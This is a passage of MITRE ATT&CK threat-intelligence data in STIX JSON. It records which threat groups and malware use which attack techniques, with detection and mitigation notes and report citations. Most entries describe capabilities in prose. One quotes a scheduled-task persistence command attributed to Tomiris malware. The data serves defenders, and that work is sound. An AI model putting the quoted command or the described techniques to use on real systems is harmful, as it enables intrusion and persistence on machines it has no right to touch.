2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.565Z","description":"(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--439344c5-67e0-4d38-9b91-866392e5e232","type":"relationship","created":"2019-04-29T15:53:48.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2021-10-12T23:00:49.634Z","description":"[APT39](https://attack.mitre.org/groups/G0087) used [Remexi](https://attack.mitre.org/software/S0375) to collect usernames from the system.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4393f669-4e67-4cd6-a89b-52907138fca7","created":"2022-10-13T18:42:26.459Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:42:26.459Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has leverage NordVPN for its egress points when targeting intended victims.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4396e1a5-aa78-41f7-802c-9ca9d2173f3a","created":"2023-05-17T18:25:39.821Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T18:25:39.821Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) has the ability to make GET requests to download files from C2.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--439987aa-363c-43be-aced-969b2224cc52","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for changes made to files in user directories.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--439e52b5-9aa1-4afb-b759-2b99b9fc5049","created":"2022-09-23T20:18:55.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:38:02.143Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use `rundll32` for execution of its components.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T18:54:47.172Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) has the capability to create a remote shell.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43a9b22e-7a50-4edb-89e7-62bf34b584f5","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43ab17df-742f-4bc5-815a-7da2feed73f0","created":"2023-09-20T18:15:42.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:36:12.828Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can check the disk size through the values obtained with `DeviceInfo.`(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43ae357d-d0f8-4cdc-a9d6-0f10f603707c","type":"relationship","created":"2021-12-29T15:08:44.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"modified":"2022-03-09T20:42:07.144Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) has used `SCHTASKS /CREATE /SC DAILY /TN StartDVL /TR \"[path to self]\" /ST 10:00` to establish persistence.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43b00ad2-2d54-4ca9-a0a2-a0cb1a5fa7ff","type":"relationship","created":"2021-06-07T21:12:23.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx","description":"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.","source_name":"Russinovich Sysinternals"}],"modified":"2021-06-07T21:58:46.833Z","description":"[PsExec](https://attack.mitre.org/software/S0029) can leverage Windows services to escalate privileges from administrator to SYSTEM with the -s argument.(Citation: Russinovich Sysinternals)","relationship_type":"uses","source_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43b702d2-0a17-4394-8dff-40a22b2c753f","created":"2024-08-09T17:33:50.799Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:33:50.799Z","description":"The [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) installer has been padded with null bytes to inflate its size.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43b9a1b5-6f95-4c6c-8e1f-59f9049e3afb","type":"relationship","created":"2020-11-10T18:04:03.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk in 5 Hours October 2020","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."}],"modified":"2020-11-10T18:04:03.589Z","description":"(Citation: DFIR Ryuk's Return October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43bcf0ae-d0ff-4653-93c7-0c03eee5e5c2","type":"relationship","created":"2020-01-24T17:16:12.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-03-25T15:42:49.042Z","description":"Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43c0d71b-d82e-45f0-89ce-acb94810c1c3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Naid](https://attack.mitre.org/software/S0205) collects the domain name from a compromised host.(Citation: Symantec Naid June 2012)","relationship_type":"uses","source_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43c16333-5f95-45b4-aedd-b90ccb56da3a","type":"relationship","created":"2020-03-28T00:55:39.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","source_name":"Cisco H1N1 Part 2"}],"modified":"2020-03-28T00:55:39.773Z","description":"[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Firewall.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43c20c81-984f-418a-9202-252a3afbec46","created":"2022-06-03T13:31:01.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-09T19:45:01.263Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used Remote Desktop Services to copy tools on targeted systems.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T01:45:32.576Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has used RAR to compress files before moving them outside of the victim network.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43c68bb8-28e2-4ee0-91aa-ffc16dcc45bc","created":"2023-01-03T21:06:00.496Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-03T21:06:00.496Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) can decode its configuration file to determine C2 protocols.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43cb492f-99c9-4c36-9de7-2a20537ea8cc","created":"2022-10-19T16:28:52.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T18:19:17.227Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) can parse the output of the native `system_profiler` tool to determine if the machine is running with 4 cores.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43cc0c46-bec4-472c-9d22-8345bcd199df","created":"2023-04-13T19:28:36.829Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:28:36.829Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has suppressed all error reporting by calling `SetErrorMode` with 0x8007 as a parameter.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43d69d89-df36-44fa-a09e-c66aa9fa5918","type":"relationship","created":"2020-03-25T22:32:16.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T19:08:57.223Z","description":"Restrict software installation to trusted repositories only and be cautious of orphaned software packages.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43d71a3e-1a46-4b5d-b887-cb373d143c9a","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor logs for actions that could be taken to gather information about pods, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications.","source_ref":"x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43d85ed6-223e-4402-bd29-be10a872359d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.438Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get text of the current foreground window.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43e9c37e-9e57-4130-8510-05c65bfde6f8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"},{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito May 2018"},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:46:45.474Z","description":"(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)(Citation: Secureworks IRON HUNTER Profile)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43ec2047-44fb-49a5-b24a-9edcb5378e5c","created":"2022-01-10T19:52:49.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.925Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can execute PowerShell commands and has used PowerShell to execute a keylogger.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43edcf0f-1f37-48b6-aa89-aa845611e0f3","created":"2024-05-23T22:49:38.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:06:33.412Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST). These tunnels are used to push interactive command prompts over the created sockets.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) has also used reverse TCP connections from Meterpreter installations to communicate back with C2 infrastructure.(Citation: CISA GRU29155 